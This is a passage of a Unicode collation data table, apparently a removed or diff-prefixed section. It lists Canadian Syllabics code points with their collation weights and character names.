-151D  ; [.33A0.0020.0002] # CANADIAN SYLLABICS SHWO
-151E  ; [.33A1.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWO
-151F  ; [.33A2.0020.0002] # CANADIAN SYLLABICS SHWOO
-1520  ; [.33A3.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWOO
-1521  ; [.33A4.0020.0002] # CANADIAN SYLLABICS SHWA
-1522  ; [.33A5.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWA
-1523  ; [.33A6.0020.0002] # CANADIAN SYLLABICS SHWAA
-1524  ; [.33A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWAA
-1525  ; [.33A8.0020.0002] # CANADIAN SYLLABICS SH
-1526  ; [.33A9.0020.0002] # CANADIAN SYLLABICS YE
-1527  ; [.33AA.0020.0002] # CANADIAN SYLLABICS YAAI
-1528  ; [.33AB.0020.0002] # CANADIAN SYLLABICS YI
-1529  ; [.33AC.0020.0002] # CANADIAN SYLLABICS YII
-152A  ; [.33AD.0020.0002] # CANADIAN SYLLABICS YO
-152B  ; [.33AE.0020.0002] # CANADIAN SYLLABICS YOO
-152C  ; [.33AF.0020.0002] # CANADIAN SYLLABICS Y-CREE YOO
-152D  ; [.33B0.0020.0002] # CANADIAN SYLLABICS YA
-152E  ; [.33B1.0020.0002] # CANADIAN SYLLABICS YAA
-152F  ; [.33B2.0020.0002] # CANADIAN SYLLABICS YWE
-1530  ; [.33B3.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWE
-1531  ; [.33B4.0020.0002] # CANADIAN SYLLABICS YWI
-1532  ; [.33B5.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWI
-1533  ; [.33B6.0020.0002] # CANADIAN SYLLABICS YWII
-1534  ; [.33B7.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWII
-1535  ; [.33B8.0020.0002] # CANADIAN SYLLABICS YWO
-1536  ; [.33B9.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWO
-1537  ; [.33BA.0020.0002] # CANADIAN SYLLABICS YWOO
-1538  ; [.33BB.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWOO
-1539  ; [.33BC.0020.0002] # CANADIAN SYLLABICS YWA
-153A  ; [.33BD.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWA
-153B  ; [.33BE.0020.0002] # CANADIAN SYLLABICS YWAA
-153C  ; [.33BF.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWAA
-153D  ; [.33C0.0020.0002] # CANADIAN SYLLABICS NASKAPI YWAA
-153E  ; [.33C1.0020.0002] # CANADIAN SYLLABICS Y
-153F  ; [.33C2.0020.0002] # CANADIAN SYLLABICS BIBLE-CREE Y
-1540  ; [.33C3.0020.0002] # CANADIAN SYLLABICS WEST-CREE Y
-1541  ; [.33C4.0020.0002] # CANADIAN SYLLABICS SAYISI YI
-1542  ; [.33C5.0020.0002] # CANADIAN SYLLABICS RE
-1543  ; [.33C6.0020.0002] # CANADIAN SYLLABICS R-CREE RE
-1544  ; [.33C7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LE
-1545  ; [.33C8.0020.0002] # CANADIAN SYLLABICS RAAI
-1546  ; [.33C9.0020.0002] # CANADIAN SYLLABICS RI
-1547  ; [.33CA.0020.0002] # CANADIAN SYLLABICS RII
-1548  ; [.33CB.0020.0002] # CANADIAN SYLLABICS RO
-1549  ; [.33CC.0020.0002] # CANADIAN SYLLABICS ROO
-154A  ; [.33CD.0020.0002] # CANADIAN SYLLABICS WEST-CREE LO
-154B  ; [.33CE.0020.0002] # CANADIAN SYLLABICS RA
-154C  ; [.33CF.0020.0002] # CANADIAN SYLLABICS RAA
-154D  ; [.33D0.0020.0002] # CANADIAN SYLLABICS WEST-CREE LA
-154E  ; [.33D1.0020.0002] # CANADIAN SYLLABICS RWAA
-154F  ; [.33D2.0020.0002] # CANADIAN SYLLABICS WEST-CREE RWAA
-1550  ; [.33D3.0020.0002] # CANADIAN SYLLABICS R
-1551  ; [.33D4.0020.0002] # CANADIAN SYLLABICS WEST-CREE R
-1552  ; [.33D5.0020.0002] # CANADIAN SYLLABICS MEDIAL R
-1553  ; [.33D6.0020.0002] # CANADIAN SYLLABICS FE
-1554  ; [.33D7.0020.0002] # CANADIAN SYLLABICS FAAI
-1555  ; [.33D8.0020.0002] # CANADIAN SYLLABICS FI
-1556  ; [.33D9.0020.0002] # CANADIAN SYLLABICS FII
-1557  ; [.33DA.0020.0002] # CANADIAN SYLLABICS FO
-1558  ; [.33DB.0020.0002] # CANADIAN SYLLABICS FOO
-1559  ; [.33DC.0020.0002] # CANADIAN SYLLABICS FA
-155A  ; [.33DD.0020.0002] # CANADIAN SYLLABICS FAA
-155B  ; [.33DE.0020.0002] # CANADIAN SYLLABICS FWAA
-155C  ; [.33DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE FWAA
-155D  ; [.33E0.0020.0002] # CANADIAN SYLLABICS F
-155E  ; [.33E1.0020.0002] # CANADIAN SYLLABICS THE
-155F  ; [.33E2.0020.0002] # CANADIAN SYLLABICS N-CREE THE
-1560  ; [.33E3.0020.0002] # CANADIAN SYLLABICS THI
-1561  ; [.33E4.0020.0002] # CANADIAN SYLLABICS N-CREE THI
-1562  ; [.33E5.0020.0002] # CANADIAN SYLLABICS THII
-1563  ; [.33E6.0020.0002] # CANADIAN SYLLABICS N-CREE THII
-1564  ; [.33E7.0020.0002] # CANADIAN SYLLABICS THO
-1565  ; [.33E8.0020.0002] # CANADIAN SYLLABICS THOO
-1566  ; [.33E9.0020.0002] # CANADIAN SYLLABICS THA
-1567  ; [.33EA.0020.0002] # CANADIAN SYLLABICS THAA
-1568  ; [.33EB.0020.0002] # CANADIAN SYLLABICS THWAA
-1569  ; [.33EC.0020.0002] # CANADIAN SYLLABICS WEST-CREE THWAA
-156A  ; [.33ED.0020.0002] # CANADIAN SYLLABICS TH
-156B  ; [.33EE.0020.0002] # CANADIAN SYLLABICS TTHE
-156C  ; [.33EF.0020.0002] # CANADIAN SYLLABICS TTHI
-156D  ; [.33F0.0020.0002] # CANADIAN SYLLABICS TTHO
-156E  ; [.33F1.0020.0002] # CANADIAN SYLLABICS TTHA
-156F  ; [.33F2.0020.0002] # CANADIAN SYLLABICS TTH
-1570  ; [.33F3.0020.0002] # CANADIAN SYLLABICS TYE
-1571  ; [.33F4.0020.0002] # CANADIAN SYLLABICS TYI
-1572  ; [.33F5.0020.0002] # CANADIAN SYLLABICS TYO
-1573  ; [.33F6.0020.0002] # CANADIAN SYLLABICS TYA
-1574  ; [.33F7.0020.0002] # CANADIAN SYLLABICS NUNAVIK HE
-1575  ; [.33F8.0020.0002] # CANADIAN SYLLABICS NUNAVIK HI
-1576  ; [.33F9.0020.0002] # CANADIAN SYLLABICS NUNAVIK HII
-1577  ; [.33FA.0020.0002] # CANADIAN SYLLABICS NUNAVIK HO
-1578  ; [.33FB.0020.0002] # CANADIAN SYLLABICS NUNAVIK HOO
-1579  ; [.33FC.0020.0002] # CANADIAN SYLLABICS NUNAVIK HA
-157A  ; [.33FD.0020.0002] # CANADIAN SYLLABICS NUNAVIK HAA
-157B  ; [.33FE.0020.0002] # CANADIAN SYLLABICS NUNAVIK H
-157D  ; [.33FF.0020.0002] # CANADIAN SYLLABICS HK
-166F  ; [.3400.0020.0002] # CANADIAN SYLLABICS QAI
-157E  ; [.3401.0020.0002] # CANADIAN SYLLABICS QAAI
-157F  ; [.3402.0020.0002] # CANADIAN SYLLABICS QI
-1580  ; [.3403.0020.0002] # CANADIAN SYLLABICS QII
-1581  ; [.3404.0020.0002] # CANADIAN SYLLABICS QO
-1582  ; [.3405.0020.0002] # CANADIAN SYLLABICS QOO
-1583  ; [.3406.0020.0002] # CANADIAN SYLLABICS QA
-1584  ; [.3407.0020.0002] # CANADIAN SYLLABICS QAA
-1585  ; [.3408.0020.0002] # CANADIAN SYLLABICS Q
-1586  ; [.3409.0020.0002] # CANADIAN SYLLABICS TLHE
-1587  ; [.340A.0020.0002] # CANADIAN SYLLABICS TLHI
-1588  ; [.340B.0020.0002] # CANADIAN SYLLABICS TLHO
-1589  ; [.340C.0020.0002] # CANADIAN SYLLABICS TLHA
-158A  ; [.340D.0020.0002] # CANADIAN SYLLABICS WEST-CREE RE
-158B  ; [.340E.0020.0002] # CANADIAN SYLLABICS WEST-CREE RI
-158C  ; [.340F.0020.0002] # CANADIAN SYLLABICS WEST-CREE RO
-158D  ; [.3410.0020.0002] # CANADIAN SYLLABICS WEST-CREE RA
-1670  ; [.3411.0020.0002] # CANADIAN SYLLABICS NGAI
-158E  ; [.3412.0020.0002] # CANADIAN SYLLABICS NGAAI
-158F  ; [.3413.0020.0002] # CANADIAN SYLLABICS NGI
-1590  ; [.3414.0020.0002] # CANADIAN SYLLABICS NGII
-1591  ; [.3415.0020.0002] # CANADIAN SYLLABICS NGO
-1592  ; [.3416.0020.0002] # CANADIAN SYLLABICS NGOO
-1593  ; [.3417.0020.0002] # CANADIAN SYLLABICS NGA
-1594  ; [.3418.0020.0002] # CANADIAN SYLLABICS NGAA
-1595  ; [.3419.0020.0002] # CANADIAN SYLLABICS NG
-1671  ; [.341A.0020.0002] # CANADIAN SYLLABICS NNGI
-1672  ; [.341B.0020.0002] # CANADIAN SYLLABICS NNGII
-1673  ; [.341C.0020.0002] # CANADIAN SYLLABICS NNGO
-1674  ; [.341D.0020.0002] # CANADIAN SYLLABICS NNGOO
-1675  ; [.341E.0020.0002] # CANADIAN SYLLABICS NNGA
-1676  ; [.341F.0020.0002] # CANADIAN SYLLABICS NNGAA
-1596  ; [.3420.0020.0002] # CANADIAN SYLLABICS NNG
-1597  ; [.3421.0020.0002] # CANADIAN SYLLABICS SAYISI SHE
-1598  ; [.3422.0020.0002] # CANADIAN SYLLABICS SAYISI SHI
-1599  ; [.3423.0020.0002] # CANADIAN SYLLABICS SAYISI SHO
-159A  ; [.3424.0020.0002] # CANADIAN SYLLABICS SAYISI SHA
-159B  ; [.3425.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THE
-159C  ; [.3426.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THI
-159D  ; [.3427.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THO
-159E  ; [.3428.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THA
-159F  ; [.3429.0020.0002] # CANADIAN SYLLABICS WOODS-CREE TH
-15A0  ; [.342A.0020.0002] # CANADIAN SYLLABICS LHI
-15A1  ; [.342B.0020.0002] # CANADIAN SYLLABICS LHII
-15A2  ; [.342C.0020.0002] # CANADIAN SYLLABICS LHO
-15A3  ; [.342D.0020.0002] # CANADIAN SYLLABICS LHOO
-15A4  ; [.342E.0020.0002] # CANADIAN SYLLABICS LHA
-15A5  ; [.342F.0020.0002] # CANADIAN SYLLABICS LHAA
-15A6  ; [.3430.0020.0002] # CANADIAN SYLLABICS LH
-157C  ; [.3431.0020.0002] # CANADIAN SYLLABICS NUNAVUT H
-15A7  ; [.3432.0020.0002] # CANADIAN SYLLABICS TH-CREE THE
-15A8  ; [.3433.0020.0002] # CANADIAN SYLLABICS TH-CREE THI
-15A9  ; [.3434.0020.0002] # CANADIAN SYLLABICS TH-CREE THII
-15AA  ; [.3435.0020.0002] # CANADIAN SYLLABICS TH-CREE THO
-15AB  ; [.3436.0020.0002] # CANADIAN SYLLABICS TH-CREE THOO
-15AC  ; [.3437.0020.0002] # CANADIAN SYLLABICS TH-CREE THA
-15AD  ; [.3438.0020.0002] # CANADIAN SYLLABICS TH-CREE THAA
-15AE  ; [.3439.0020.0002] # CANADIAN SYLLABICS TH-CREE TH
-15AF  ; [.343A.0020.0002] # CANADIAN SYLLABICS AIVILIK B
-15B0  ; [.343B.0020.0002] # CANADIAN SYLLABICS BLACKFOOT E
-15B1  ; [.343C.0020.0002] # CANADIAN SYLLABICS BLACKFOOT I
-15B2  ; [.343D.0020.0002] # CANADIAN SYLLABICS BLACKFOOT O
-15B3  ; [.343E.0020.0002] # CANADIAN SYLLABICS BLACKFOOT A
-15B4  ; [.343F.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WE
-15B5  ; [.3440.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WI
-15B6  ; [.3441.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WO
-15B7  ; [.3442.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WA
-15B8  ; [.3443.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NE
-15B9  ; [.3444.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NI
-15BA  ; [.3445.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NO
-15BB  ; [.3446.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NA
-15BC  ; [.3447.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KE
-15BD  ; [.3448.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KI
-15BE  ; [.3449.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KO
-15BF  ; [.344A.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KA
-15C0  ; [.344B.0020.0002] # CANADIAN SYLLABICS SAYISI HE
-15C1  ; [.344C.0020.0002] # CANADIAN SYLLABICS SAYISI HI
-15C2  ; [.344D.0020.0002] # CANADIAN SYLLABICS SAYISI HO
-15C3  ; [.344E.0020.0002] # CANADIAN SYLLABICS SAYISI HA
-15C4  ; [.344F.0020.0002] # CANADIAN SYLLABICS CARRIER GHU
-15C5  ; [.3450.0020.0002] # CANADIAN SYLLABICS CARRIER GHO
-15C6  ; [.3451.0020.0002] # CANADIAN SYLLABICS CARRIER GHE
-15C7  ; [.3452.0020.0002] # CANADIAN SYLLABICS CARRIER GHEE
-15C8  ; [.3453.0020.0002] # CANADIAN SYLLABICS CARRIER GHI
-15C9  ; [.3454.0020.0002] # CANADIAN SYLLABICS CARRIER GHA
-15CA  ; [.3455.0020.0002] # CANADIAN SYLLABICS CARRIER RU
-15CB  ; [.3456.0020.0002] # CANADIAN SYLLABICS CARRIER RO
-15CC  ; [.3457.0020.0002] # CANADIAN SYLLABICS CARRIER RE
-15CD  ; [.3458.0020.0002] # CANADIAN SYLLABICS CARRIER REE
-15CE  ; [.3459.0020.0002] # CANADIAN SYLLABICS CARRIER RI
-15CF  ; [.345A.0020.0002] # CANADIAN SYLLABICS CARRIER RA
-15D0  ; [.345B.0020.0002] # CANADIAN SYLLABICS CARRIER WU
-15D1  ; [.345C.0020.0002] # CANADIAN SYLLABICS CARRIER WO
-15D2  ; [.345D.0020.0002] # CANADIAN SYLLABICS CARRIER WE
-15D3  ; [.345E.0020.0002] # CANADIAN SYLLABICS CARRIER WEE
-15D4  ; [.345F.0020.0002] # CANADIAN SYLLABICS CARRIER WI
-15D5  ; [.3460.0020.0002] # CANADIAN SYLLABICS CARRIER WA
-15D6  ; [.3461.0020.0002] # CANADIAN SYLLABICS CARRIER HWU
-15D7  ; [.3462.0020.0002] # CANADIAN SYLLABICS CARRIER HWO
-15D8  ; [.3463.0020.0002] # CANADIAN SYLLABICS CARRIER HWE
-15D9  ; [.3464.0020.0002] # CANADIAN SYLLABICS CARRIER HWEE
-15DA  ; [.3465.0020.0002] # CANADIAN SYLLABICS CARRIER HWI
-15DB  ; [.3466.0020.0002] # CANADIAN SYLLABICS CARRIER HWA
-15DC  ; [.3467.0020.0002] # CANADIAN SYLLABICS CARRIER THU
-15DD  ; [.3468.0020.0002] # CANADIAN SYLLABICS CARRIER THO
-15DE  ; [.3469.0020.0002] # CANADIAN SYLLABICS CARRIER THE
-15DF  ; [.346A.0020.0002] # CANADIAN SYLLABICS CARRIER THEE
-15E0  ; [.346B.0020.0002] # CANADIAN SYLLABICS CARRIER THI
-15E1  ; [.346C.0020.0002] # CANADIAN SYLLABICS CARRIER THA
-15E2  ; [.346D.0020.0002] # CANADIAN SYLLABICS CARRIER TTU
-15E3  ; [.346E.0020.0002] # CANADIAN SYLLABICS CARRIER TTO
-15E4  ; [.346F.0020.0002] # CANADIAN SYLLABICS CARRIER TTE
-15E5  ; [.3470.0020.0002] # CANADIAN SYLLABICS CARRIER TTEE
-15E6  ; [.3471.0020.0002] # CANADIAN SYLLABICS CARRIER TTI
-15E7  ; [.3472.0020.0002] # CANADIAN SYLLABICS CARRIER TTA
-15E8  ; [.3473.0020.0002] # CANADIAN SYLLABICS CARRIER PU
-15E9  ; [.3474.0020.0002] # CANADIAN SYLLABICS CARRIER PO
-15EA  ; [.3475.0020.0002] # CANADIAN SYLLABICS CARRIER PE
-15EB  ; [.3476.0020.0002] # CANADIAN SYLLABICS CARRIER PEE
-15EC  ; [.3477.0020.0002] # CANADIAN SYLLABICS CARRIER PI
-15ED  ; [.3478.0020.0002] # CANADIAN SYLLABICS CARRIER PA
-15EE  ; [.3479.0020.0002] # CANADIAN SYLLABICS CARRIER P
-15EF  ; [.347A.0020.0002] # CANADIAN SYLLABICS CARRIER GU
-15F0  ; [.347B.0020.0002] # CANADIAN SYLLABICS CARRIER GO
-15F1  ; [.347C.0020.0002] # CANADIAN SYLLABICS CARRIER GE
-15F2  ; [.347D.0020.0002] # CANADIAN SYLLABICS CARRIER GEE
-15F3  ; [.347E.0020.0002] # CANADIAN SYLLABICS CARRIER GI
-15F4  ; [.347F.0020.0002] # CANADIAN SYLLABICS CARRIER GA
-15F5  ; [.3480.0020.0002] # CANADIAN SYLLABICS CARRIER KHU
-15F6  ; [.3481.0020.0002] # CANADIAN SYLLABICS CARRIER KHO
-15F7  ; [.3482.0020.0002] # CANADIAN SYLLABICS CARRIER KHE
-15F8  ; [.3483.0020.0002] # CANADIAN SYLLABICS CARRIER KHEE
-15F9  ; [.3484.0020.0002] # CANADIAN SYLLABICS CARRIER KHI
-15FA  ; [.3485.0020.0002] # CANADIAN SYLLABICS CARRIER KHA
-15FB  ; [.3486.0020.0002] # CANADIAN SYLLABICS CARRIER KKU
-15FC  ; [.3487.0020.0002] # CANADIAN SYLLABICS CARRIER KKO
-15FD  ; [.3488.0020.0002] # CANADIAN SYLLABICS CARRIER KKE
-15FE  ; [.3489.0020.0002] # CANADIAN SYLLABICS CARRIER KKEE
-15FF  ; [.348A.0020.0002] # CANADIAN SYLLABICS CARRIER KKI
-1600  ; [.348B.0020.0002] # CANADIAN SYLLABICS CARRIER KKA
-1601  ; [.348C.0020.0002] # CANADIAN SYLLABICS CARRIER KK
-1602  ; [.348D.0020.0002] # CANADIAN SYLLABICS CARRIER NU
-1603  ; [.348E.0020.0002] # CANADIAN SYLLABICS CARRIER NO
-1604  ; [.348F.0020.0002] # CANADIAN SYLLABICS CARRIER NE
-1605  ; [.3490.0020.0002] # CANADIAN SYLLABICS CARRIER NEE
-1606  ; [.3491.0020.0002] # CANADIAN SYLLABICS CARRIER NI
-1607  ; [.3492.0020.0002] # CANADIAN SYLLABICS CARRIER NA
-1608  ; [.3493.0020.0002] # CANADIAN SYLLABICS CARRIER MU
-1609  ; [.3494.0020.0002] # CANADIAN SYLLABICS CARRIER MO
-160A  ; [.3495.0020.0002] # CANADIAN SYLLABICS CARRIER ME
-160B  ; [.3496.0020.0002] # CANADIAN SYLLABICS CARRIER MEE
-160C  ; [.3497.0020.0002] # CANADIAN SYLLABICS CARRIER MI
-160D  ; [.3498.0020.0002] # CANADIAN SYLLABICS CARRIER MA
-160E  ; [.3499.0020.0002] # CANADIAN SYLLABICS CARRIER YU
-160F  ; [.349A.0020.0002] # CANADIAN SYLLABICS CARRIER YO
-1610  ; [.349B.0020.0002] # CANADIAN SYLLABICS CARRIER YE
-1611  ; [.349C.0020.0002] # CANADIAN SYLLABICS CARRIER YEE
-1612  ; [.349D.0020.0002] # CANADIAN SYLLABICS CARRIER YI
-1613  ; [.349E.0020.0002] # CANADIAN SYLLABICS CARRIER YA
-1614  ; [.349F.0020.0002] # CANADIAN SYLLABICS CARRIER JU
-1615  ; [.34A0.0020.0002] # CANADIAN SYLLABICS SAYISI JU
-1616  ; [.34A1.0020.0002] # CANADIAN SYLLABICS CARRIER JO
-1617  ; [.34A2.0020.0002] # CANADIAN SYLLABICS CARRIER JE
-1618  ; [.34A3.0020.0002] # CANADIAN SYLLABICS CARRIER JEE
-1619  ; [.34A4.0020.0002] # CANADIAN SYLLABICS CARRIER JI
-161A  ; [.34A5.0020.0002] # CANADIAN SYLLABICS SAYISI JI
-161B  ; [.34A6.0020.0002] # CANADIAN SYLLABICS CARRIER JA
-161C  ; [.34A7.0020.0002] # CANADIAN SYLLABICS CARRIER JJU
-161D  ; [.34A8.0020.0002] # CANADIAN SYLLABICS CARRIER JJO
-161E  ; [.34A9.0020.0002] # CANADIAN SYLLABICS CARRIER JJE
-161F  ; [.34AA.0020.0002] # CANADIAN SYLLABICS CARRIER JJEE
-1620  ; [.34AB.0020.0002] # CANADIAN SYLLABICS CARRIER JJI
-1621  ; [.34AC.0020.0002] # CANADIAN SYLLABICS CARRIER JJA
-1622  ; [.34AD.0020.0002] # CANADIAN SYLLABICS CARRIER LU
-1623  ; [.34AE.0020.0002] # CANADIAN SYLLABICS CARRIER LO
-1624  ; [.34AF.0020.0002] # CANADIAN SYLLABICS CARRIER LE
-1625  ; [.34B0.0020.0002] # CANADIAN SYLLABICS CARRIER LEE
-1626  ; [.34B1.0020.0002] # CANADIAN SYLLABICS CARRIER LI
-1627  ; [.34B2.0020.0002] # CANADIAN SYLLABICS CARRIER LA
-1628  ; [.34B3.0020.0002] # CANADIAN SYLLABICS CARRIER DLU
-1629  ; [.34B4.0020.0002] # CANADIAN SYLLABICS CARRIER DLO
-162A  ; [.34B5.0020.0002] # CANADIAN SYLLABICS CARRIER DLE
-162B  ; [.34B6.0020.0002] # CANADIAN SYLLABICS CARRIER DLEE
-162C  ; [.34B7.0020.0002] # CANADIAN SYLLABICS CARRIER DLI
-162D  ; [.34B8.0020.0002] # CANADIAN SYLLABICS CARRIER DLA
-162E  ; [.34B9.0020.0002] # CANADIAN SYLLABICS CARRIER LHU
-162F  ; [.34BA.0020.0002] # CANADIAN SYLLABICS CARRIER LHO
-1630  ; [.34BB.0020.0002] # CANADIAN SYLLABICS CARRIER LHE
-1631  ; [.34BC.0020.0002] # CANADIAN SYLLABICS CARRIER LHEE
-1632  ; [.34BD.0020.0002] # CANADIAN SYLLABICS CARRIER LHI
-1633  ; [.34BE.0020.0002] # CANADIAN SYLLABICS CARRIER LHA
-1634  ; [.34BF.0020.0002] # CANADIAN SYLLABICS CARRIER TLHU
-1635  ; [.34C0.0020.0002] # CANADIAN SYLLABICS CARRIER TLHO
-1636  ; [.34C1.0020.0002] # CANADIAN SYLLABICS CARRIER TLHE
-1637  ; [.34C2.0020.0002] # CANADIAN SYLLABICS CARRIER TLHEE
-1638  ; [.34C3.0020.0002] # CANADIAN SYLLABICS CARRIER TLHI
-1639  ; [.34C4.0020.0002] # CANADIAN SYLLABICS CARRIER TLHA
-163A  ; [.34C5.0020.0002] # CANADIAN SYLLABICS CARRIER TLU
-163B  ; [.34C6.0020.0002] # CANADIAN SYLLABICS CARRIER TLO
-163C  ; [.34C7.0020.0002] # CANADIAN SYLLABICS CARRIER TLE
-163D  ; [.34C8.0020.0002] # CANADIAN SYLLABICS CARRIER TLEE
-163E  ; [.34C9.0020.0002] # CANADIAN SYLLABICS CARRIER TLI
-163F  ; [.34CA.0020.0002] # CANADIAN SYLLABICS CARRIER TLA
-1640  ; [.34CB.0020.0002] # CANADIAN SYLLABICS CARRIER ZU
-1641  ; [.34CC.0020.0002] # CANADIAN SYLLABICS CARRIER ZO
-1642  ; [.34CD.0020.0002] # CANADIAN SYLLABICS CARRIER ZE
-1643  ; [.34CE.0020.0002] # CANADIAN SYLLABICS CARRIER ZEE
-1644  ; [.34CF.0020.0002] # CANADIAN SYLLABICS CARRIER ZI
-1645  ; [.34D0.0020.0002] # CANADIAN SYLLABICS CARRIER ZA
-1646  ; [.34D1.0020.0002] # CANADIAN SYLLABICS CARRIER Z
-1647  ; [.34D2.0020.0002] # CANADIAN SYLLABICS CARRIER INITIAL Z
-1648  ; [.34D3.0020.0002] # CANADIAN SYLLABICS CARRIER DZU
-1649  ; [.34D4.0020.0002] # CANADIAN SYLLABICS CARRIER DZO
-164A  ; [.34D5.0020.0002] # CANADIAN SYLLABICS CARRIER DZE
-164B  ; [.34D6.0020.0002] # CANADIAN SYLLABICS CARRIER DZEE
-164C  ; [.34D7.0020.0002] # CANADIAN SYLLABICS CARRIER DZI
-164D  ; [.34D8.0020.0002] # CANADIAN SYLLABICS CARRIER DZA
-164E  ; [.34D9.0020.0002] # CANADIAN SYLLABICS CARRIER SU
-164F  ; [.34DA.0020.0002] # CANADIAN SYLLABICS CARRIER SO
-1650  ; [.34DB.0020.0002] # CANADIAN SYLLABICS CARRIER SE
-1651  ; [.34DC.0020.0002] # CANADIAN SYLLABICS CARRIER SEE
-1652  ; [.34DD.0020.0002] # CANADIAN SYLLABICS CARRIER SI
-1653  ; [.34DE.0020.0002] # CANADIAN SYLLABICS CARRIER SA
-1654  ; [.34DF.0020.0002] # CANADIAN SYLLABICS CARRIER SHU
-1655  ; [.34E0.0020.0002] # CANADIAN SYLLABICS CARRIER SHO
-1656  ; [.34E1.0020.0002] # CANADIAN SYLLABICS CARRIER SHE
-1657  ; [.34E2.0020.0002] # CANADIAN SYLLABICS CARRIER SHEE
-1658  ; [.34E3.0020.0002] # CANADIAN SYLLABICS CARRIER SHI
-1659  ; [.34E4.0020.0002] # CANADIAN SYLLABICS CARRIER SHA
-165A  ; [.34E5.0020.0002] # CANADIAN SYLLABICS CARRIER SH
-165B  ; [.34E6.0020.0002] # CANADIAN SYLLABICS CARRIER TSU
-165C  ; [.34E7.0020.0002] # CANADIAN SYLLABICS CARRIER TSO
-165D  ; [.34E8.0020.0002] # CANADIAN SYLLABICS CARRIER TSE
-165E  ; [.34E9.0020.0002] # CANADIAN SYLLABICS CARRIER TSEE
-165F  ; [.34EA.0020.0002] # CANADIAN SYLLABICS CARRIER TSI
-1660  ; [.34EB.0020.0002] # CANADIAN SYLLABICS CARRIER TSA
-1661  ; [.34EC.0020.0002] # CANADIAN SYLLABICS CARRIER CHU
-1662  ; [.34ED.0020.0002] # CANADIAN SYLLABICS CARRIER CHO
-1663  ; [.34EE.0020.0002] # CANADIAN SYLLABICS CARRIER CHE
-1664  ; [.34EF.0020.0002] # CANADIAN SYLLABICS CARRIER CHEE
-1665  ; [.34F0.0020.0002] # CANADIAN SYLLABICS CARRIER CHI
-1666  ; [.34F1.0020.0002] # CANADIAN SYLLABICS CARRIER CHA
-1667  ; [.34F2.0020.0002] # CANADIAN SYLLABICS CARRIER TTSU
-1668  ; [.34F3.0020.0002] # CANADIAN SYLLABICS CARRIER TTSO
-1669  ; [.34F4.0020.0002] # CANADIAN SYLLABICS CARRIER TTSE
-166A  ; [.34F5.0020.0002] # CANADIAN SYLLABICS CARRIER TTSEE
-166B  ; [.34F6.0020.0002] # CANADIAN SYLLABICS CARRIER TTSI
-166C  ; [.34F7.0020.0002] # CANADIAN SYLLABICS CARRIER TTSA
-1677  ; [.34F8.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWEE
-1678  ; [.34F9.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWI
-1679  ; [.34FA.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWII
-167A  ; [.34FB.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWO
-167B  ; [.34FC.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWOO
-167C  ; [.34FD.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWA
-167D  ; [.34FE.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWAA
-167E  ; [.34FF.0020.0002] # CANADIAN SYLLABICS WOODS-CREE FINAL TH
-167F  ; [.3500.0020.0002] # CANADIAN SYLLABICS BLACKFOOT W
-18B0  ; [.3501.0020.0002] # CANADIAN SYLLABICS OY
-18B1  ; [.3502.0020.0002] # CANADIAN SYLLABICS AY
-18B2  ; [.3503.0020.0002] # CANADIAN SYLLABICS AAY
-18B3  ; [.3504.0020.0002] # CANADIAN SYLLABICS WAY
-18B4  ; [.3505.0020.0002] # CANADIAN SYLLABICS POY
-18B5  ; [.3506.0020.0002] # CANADIAN SYLLABICS PAY
-18B6  ; [.3507.0020.0002] # CANADIAN SYLLABICS PWOY
-18B7  ; [.3508.0020.0002] # CANADIAN SYLLABICS TAY
-18B8  ; [.3509.0020.0002] # CANADIAN SYLLABICS KAY
-18B9  ; [.350A.0020.0002] # CANADIAN SYLLABICS KWAY
-18BA  ; [.350B.0020.0002] # CANADIAN SYLLABICS MAY
-18BB  ; [.350C.0020.0002] # CANADIAN SYLLABICS NOY
-18BC  ; [.350D.0020.0002] # CANADIAN SYLLABICS NAY
-18BD  ; [.350E.0020.0002] # CANADIAN SYLLABICS LAY
-18BE  ; [.350F.0020.0002] # CANADIAN SYLLABICS SOY
-18BF  ; [.3510.0020.0002] # CANADIAN SYLLABICS SAY
-18C0  ; [.3511.0020.0002] # CANADIAN SYLLABICS SHOY
-18C1  ; [.3512.0020.0002] # CANADIAN SYLLABICS SHAY
-18C2  ; [.3513.0020.0002] # CANADIAN SYLLABICS SHWOY
-18C3  ; [.3514.0020.0002] # CANADIAN SYLLABICS YOY
-18C4  ; [.3515.0020.0002] # CANADIAN SYLLABICS YAY
-18C5  ; [.3516.0020.0002] # CANADIAN SYLLABICS RAY
-18C6  ; [.3517.0020.0002] # CANADIAN SYLLABICS NWI
-18C7  ; [.3518.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWI
-18C8  ; [.3519.0020.0002] # CANADIAN SYLLABICS NWII
-18C9  ; [.351A.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWII
